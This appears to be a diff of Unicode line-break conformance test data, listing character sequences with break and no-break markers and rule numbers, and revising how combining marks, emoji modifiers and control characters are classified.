+× 000D ÷ 0308 × 0025 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 0025 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 000D ÷ 0024 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] DOLLAR SIGN (PR) ÷ [0.3]
× 000D ÷ 0020 ÷ 0024 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 000D ÷ 0308 ÷ 0024 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 0024 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 000D ÷ 0308 × 0024 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 0024 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 000D ÷ 0022 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] QUOTATION MARK (QU) ÷ [0.3]
× 000D ÷ 0020 ÷ 0022 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 000D ÷ 0308 × 0022 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 0022 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 000D ÷ 0308 × 0022 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 0022 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 000D ÷ 0020 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [0.3]
× 000D ÷ 0020 × 0020 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 000D ÷ 0308 × 0020 × 0020 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 000D ÷ 0308 × 0020 × 0020 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 000D ÷ 002F ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SOLIDUS (SY) ÷ [0.3]
× 000D ÷ 0020 × 002F ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 000D ÷ 0308 × 002F ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 000D ÷ 0308 × 0020 × 002F ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 000D ÷ 0308 × 002F ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 000D ÷ 0308 × 0020 × 002F ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 000D ÷ 2060 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] WORD JOINER (WJ) ÷ [0.3]
× 000D ÷ 0020 × 2060 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 000D ÷ 0308 × 2060 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 000D ÷ 0308 × 0020 × 2060 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 000D ÷ 0308 × 2060 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 000D ÷ 0308 × 0020 × 2060 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 000D ÷ 200B ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 000D ÷ 0020 × 200B ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 000D ÷ 0308 × 200B ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 000D ÷ 0308 × 0020 × 200B ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 000D ÷ 0308 × 200B ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 000D ÷ 0308 × 0020 × 200B ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 000D ÷ 1F1E6 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 000D ÷ 0020 ÷ 1F1E6 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 000D ÷ 0308 ÷ 1F1E6 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 000D ÷ 0308 ÷ 1F1E6 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 000D ÷ 261D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 000D ÷ 0020 ÷ 261D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 000D ÷ 0308 ÷ 261D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 261D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 000D ÷ 1F3FB ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 000D ÷ 0020 ÷ 1F3FB ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 000D ÷ 0308 ÷ 1F3FB ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 000D ÷ 0001 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 000D ÷ 0020 ÷ 0001 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 000D ÷ 0308 × 0001 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 0001 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 000D ÷ 200D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 000D ÷ 0020 ÷ 200D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 000D ÷ 0308 × 200D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 200D ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 000D ÷ 00A7 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SECTION SIGN (AI_AL) ÷ [0.3]
× 000D ÷ 0020 ÷ 00A7 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 000D ÷ 0308 × 00A7 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 000D ÷ 0308 × 00A7 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 000D ÷ 50005 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] <reserved-50005> (XX_AL) ÷ [0.3]
× 000D ÷ 0020 ÷ 50005 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 000D ÷ 0308 × 50005 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 50005 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 000D ÷ 0308 × 50005 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 50005 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 000D ÷ 0E01 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 000D ÷ 0020 ÷ 0E01 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 000D ÷ 0308 × 0E01 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 000D ÷ 0308 × 0E01 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 000D ÷ 3041 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 000D ÷ 0020 ÷ 3041 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 000D ÷ 0308 × 3041 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 3041 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 000D ÷ 0308 × 3041 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 3041 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0021 ÷ 0023 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 0021 × 0020 ÷ 0023 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0021 × 0308 ÷ 0023 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0021 × 0308 ÷ 0023 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 0021 ÷ 2014 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 0021 × 0020 ÷ 2014 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0021 × 0308 ÷ 2014 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0021 × 0308 ÷ 2014 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 0021 × 0009 ÷ # × [0.3] EXCLAMATION MARK (EX) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0021 × 0020 ÷ 0009 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0021 × 0308 × 0009 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0021 × 0308 × 0009 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0021 ÷ 00B4 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0021 × 0020 ÷ 00B4 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0021 × 0308 ÷ 00B4 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0021 × 0308 ÷ 00B4 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0021 × 000B ÷ # × [0.3] EXCLAMATION MARK (EX) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0021 × 0020 × 000B ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0021 × 0308 × 000B ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0021 × 0308 × 0020 × 000B ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0021 × 0308 × 000B ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0021 × 0308 × 0020 × 000B ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0021 ÷ FFFC ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0021 × 0020 ÷ FFFC ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0021 × 0308 ÷ FFFC ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0021 × 0308 ÷ FFFC ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0021 × 007D ÷ # × [0.3] EXCLAMATION MARK (EX) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0021 × 0020 × 007D ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0021 × 0308 × 007D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0021 × 0308 × 0020 × 007D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0021 × 0308 × 007D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0021 × 0308 × 0020 × 007D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0021 × 0029 ÷ # × [0.3] EXCLAMATION MARK (EX) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0021 × 0020 × 0029 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0021 × 0308 × 0029 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0021 × 0308 × 0020 × 0029 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0021 × 0001 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0021 × 0020 ÷ 0001 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0021 × 0308 × 0001 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 0021 × 0308 × 0029 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0021 × 0308 × 0020 × 0029 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0021 × 000D ÷ # × [0.3] EXCLAMATION MARK (EX) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0021 × 0020 × 000D ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0021 × 0308 × 000D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
